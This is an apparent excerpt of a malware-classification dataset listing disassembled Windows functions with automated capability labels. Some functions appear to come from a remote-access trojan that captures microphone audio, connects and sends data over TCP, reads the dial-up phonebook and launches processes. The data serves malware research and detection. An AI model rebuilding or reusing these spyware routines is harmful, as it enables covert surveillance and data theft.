joyce8/EMBER2024-capa huggingface dataset:
Function at 0x426b20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x429f5d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0x24], ebx
lea eax, [esp + 0x50]
mov ecx, 3
mov dword [eax - 0x10], ebx
mov dword [eax - 8], ebx
mov dword [eax], ebx
mov dword [eax - 0xc], ebx
mov dword [eax - 4], ebx
mov dword [eax + 4], ebx
add eax, 0x18
dec ecx
jne 0x426b52
lea ecx, [esp + 0x88]
call fcn.00426330
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
lea edx, [esp + 8]
mov dword [esp + 0xc], ecx
push edx
lea ecx, [esp + 0x44]
mov dword [esp + 0x124], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.00425e60
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
lea edx, [esp + 8]
mov dword [esp + 0x14], ecx
push edx
lea ecx, [esp + 0x5c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.00425e60
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
lea edx, [esp + 8]
mov dword [esp + 0x1c], ecx
push edx
lea ecx, [esp + 0x74]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], eax
call fcn.00425e60
sub esp, 0x18
lea eax, [esp + 0x88]
mov dword [esp + 0x38], esp
mov ecx, esp
push eax
call fcn.00425e60
sub esp, 0x18
lea edx, [esp + 0x88]
mov ecx, esp
mov dword [esp + 0x50], esp
push edx
call fcn.00426410
sub esp, 0x18
lea eax, [esp + 0x88]
mov ecx, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00426410
lea ecx, [esp + 0x118]
call fcn.00426370
push eax
lea ecx, [esp + 0x8c]
mov byte [esp + 0x124], 2
call fcn.004263d0
lea ecx, [esp + 0xd0]
mov byte [esp + 0x120], 1
call fcn.00404780
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
lea ecx, [esp + 8]
push ecx
lea ecx, [esp + 0x2c]
call fcn.00425e60
mov esi, dword [ebp + 8]
push ebx
push ebx
push ebx
push 0x3ff00000
lea edx, [esp + 0x38]
push ebx
lea eax, [esp + 0x9c]
push edx
push eax
mov ecx, esi
call fcn.00426430
mov dword [esp + 0x24], 1
lea ecx, [esp + 0x88]
mov byte [esp + 0x120], bl
call fcn.00404780
mov ecx, dword [esp + 0x118]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415ed5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x14c]
mov ecx, 0x53
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
je 0x415f7e
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.00401546
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
ja case.default.0x415ece
mov ecx, dword [ebp - 0x10c]
jmp dword [ecx*4 + 0x415f94]
mov esi, esp
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
mov esi, esp
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
mov esi, esp
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
lea edx, [ebp - 0x108]
push edx
mov ecx, dword [ebp - 4]
call fcn.004016ea
jmp 0x415f3f
jmp 0x415f7e
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRTD.dll_strlen
add esp, 4
movsx ecx, byte [ebp + eax - 0x109]
cmp ecx, 0x5c
je 0x415f6f
push 0x4348f4
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRTD.dll_strcat
add esp, 8
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 4]
call fcn.004015aa
pop edi
pop esi
pop ebx
add esp, 0x14c
cmp ebp, esp
call sub.MSVCRTD.dll__chkesp
mov esp, ebp
pop ebp
ret 4

Function at 0x415ef2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x14c]
mov ecx, 0x53
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
je 0x415f7e
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.00401546
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
ja case.default.0x415ece
mov ecx, dword [ebp - 0x10c]
jmp dword [ecx*4 + 0x415f94]
mov esi, esp
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
mov esi, esp
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
mov esi, esp
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
lea edx, [ebp - 0x108]
push edx
mov ecx, dword [ebp - 4]
call fcn.004016ea
jmp 0x415f3f
jmp 0x415f7e
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRTD.dll_strlen
add esp, 4
movsx ecx, byte [ebp + eax - 0x109]
cmp ecx, 0x5c
je 0x415f6f
push 0x4348f4
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRTD.dll_strcat
add esp, 8
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 4]
call fcn.004015aa
pop edi
pop esi
pop ebx
add esp, 0x14c
cmp ebp, esp
call sub.MSVCRTD.dll__chkesp
mov esp, ebp
pop ebp
ret 4
Function at 0x415f0f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x14c]
mov ecx, 0x53
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
je 0x415f7e
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.00401546
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
ja case.default.0x415ece
mov ecx, dword [ebp - 0x10c]
jmp dword [ecx*4 + 0x415f94]
mov esi, esp
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
mov esi, esp
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
mov esi, esp
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
jmp 0x415f3f
lea edx, [ebp - 0x108]
push edx
mov ecx, dword [ebp - 4]
call fcn.004016ea
jmp 0x415f3f
jmp 0x415f7e
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRTD.dll_strlen
add esp, 4
movsx ecx, byte [ebp + eax - 0x109]
cmp ecx, 0x5c
je 0x415f6f
push 0x4348f4
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRTD.dll_strcat
add esp, 8
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 4]
call fcn.004015aa
pop edi
pop esi
pop ebx
add esp, 0x14c
cmp ebp, esp
call sub.MSVCRTD.dll__chkesp
mov esp, ebp
pop ebp
ret 4

Function at 0x41c0e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41c122
mov ecx, dword [ebp - 4]
and ecx, 0x10
test ecx, ecx
jne 0x41c122
mov al, 1
jmp 0x41c124
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call sub.MSVCRTD.dll__chkesp
mov esp, ebp
pop ebp
ret

Function at 0x41c200
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp esi, esp
call sub.MSVCRTD.dll__chkesp
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41c242
mov ecx, dword [ebp - 4]
and ecx, 0x10
test ecx, ecx
je 0x41c242
mov al, 1
jmp 0x41c244
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call sub.MSVCRTD.dll__chkesp
mov esp, ebp
pop ebp
ret
Function at 0x100010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov al, byte [esi + 0x44]
mov dword [esi], 0x100144e8
test al, al
je 0x1000114c
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStop]
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInReset]
mov ebp, dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebp
add edi, 4
dec ebx
jne 0x10001125
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInClose]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x10001186
mov eax, dword [esi + 0x40]
push eax
call dword [sym.imp.WINMM.dll_waveOutReset]
mov ebp, dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi]
mov edx, dword [esi + 0x40]
push 0x20
push ecx
push edx
call ebp
add edi, 4
dec ebx
jne 0x1000116b
mov eax, dword [esi + 0x40]
push eax
call dword [sym.imp.WINMM.dll_waveOutClose]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi - 0x28]
push ecx
call main
mov edx, dword [edi]
push edx
call main
mov eax, dword [edi - 0x20]
push eax
call main
mov ecx, dword [edi + 8]
push ecx
call main
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000118e
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x100012c0
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ecx
push ebx
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x100012d5
pop edi
xor al, al
pop ebx
pop ecx
ret
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push 4
push edi
push 0x10001430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 8]
push 0x20000
push 0
lea edx, [edi + 0x46]
push ecx
lea ebx, [edi + 0x18]
push edx
push 0xffff
push ebx
mov dword [edi + 0x2c], eax
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x10001320
pop edi
xor al, al
pop ebx
pop ecx
ret
push ebp
push esi
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec ebp
jne 0x1000132a
mov edx, dword [edi + 0x1c]
mov ecx, dword [ebx]
push 0x20
mov eax, dword [edi + edx*4 + 0x30]
push eax
push ecx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebx]
push eax
call dword [sym.imp.WINMM.dll_waveInStart]
mov al, 1
pop esi
mov byte [edi + 0x44], al
pop ebp
pop edi
pop ebx
pop ecx
ret
Function at 0x10001b50
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1001155a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.100017a0
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.100017a0
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.100017a0
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.100017a0
lea eax, [esp + 0xc]
mov dword [esi], 0x10014500
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x47
mov byte [esp + 5], 0x68
mov byte [esp + 6], 0x30
mov byte [esp + 7], 0x73
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov dword [esi + 0xac], eax
mov al, 0x74
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001d10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10002500
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov byte [esi + 0xb5], 0
mov eax, dword [0x10019f74]
test eax, eax
je 0x10001d51
cmp eax, 4
je 0x10001d51
cmp eax, 5
je 0x10001d51
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10001d74
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x10019f74]
mov ebx, dword [esp + 0x34]
test eax, eax
je 0x10001d88
push 0x10019f78
jmp 0x10001d89
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10001da1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x10019f74]
mov ebp, dword [esp + 0x38]
test eax, eax
mov word [esp + 0x20], 2
je 0x10001dbf
mov cx, word [0x10018020]
push ecx
jmp 0x10001dc0
push ebp
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x24]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x30], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001dfb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
cmp dword [0x10019f74], 5
jne 0x10001e1b
push ebp
push ebx
mov ecx, esi
call fcn.10001eb0
test al, al
jne 0x10001e1b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
push 1
push ecx
push 8
push 0xffff
push edx
mov byte [esp + 0x27], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001e7b
push eax
mov edx, dword [esi + 0xa8]
push eax
lea eax, [esp + 0x1b]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x38], 1
mov dword [esp + 0x3c], 0x2bf20
mov dword [esp + 0x40], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x100021c0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000a5a0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x10002700
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x1000276a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002749
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10002726
cmp dword [esp + 0x1c], 0xf
je 0x100027a0
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x1000271e
test ebx, ebx
jle 0x10002794
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1000278b
inc esi
cmp esi, 0xf
jl 0x10002770
cmp esi, 0xf
je 0x100027a0
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x100027a3
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10002910
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x20]
push edx
push eax
call esi
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x10002a0c
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x100029f3
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x100029d0
push ebx
call main
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret
Function at 0x10002a40
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x210
mov eax, 0x100
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x10002a61
add esp, 0x210
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
lea ecx, [esp + 0x114]
push edx
push ecx
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10002a91
add esp, 0x210
ret
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10002aa7
add esp, 0x210
ret
push esi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002ad1
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
push edx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 4]
pop esi
add esp, 0x210
ret
Function at 0x100038f0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014528
push 0x10011228
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10003a4d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x1000399c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x1000399c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003977
cmp al, 0x5c
je 0x10003977
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000395f
cmp byte [esi], 0
je 0x10003980
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003995
cmp al, 0x5c
je 0x10003995
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000397d
cmp byte [esi], 0
je 0x100039bb
jmp 0x100039b7
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100039bb
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100039bb
cmp al, 0x5c
jne 0x100039bb
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10003a11
cmp al, 0x5c
jne 0x10003a03
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x100039f6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003a00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003a00
push edi
jmp 0x10003a44
and eax, 0x10
cmp al, 0x10
je 0x10003a00
push edi
jmp 0x10003a44
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100039c1
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10003a70
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10003ab5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x10003ae2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x10003b61
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1001818c
push edx
call esi
add esp, 8
test eax, eax
jne 0x10003bde
lea eax, [esp + 0x6c]
push 0x10018188
push eax
call esi
add esp, 8
test eax, eax
jne 0x10003bde
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x10018184
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10003bed
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x10003c15
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8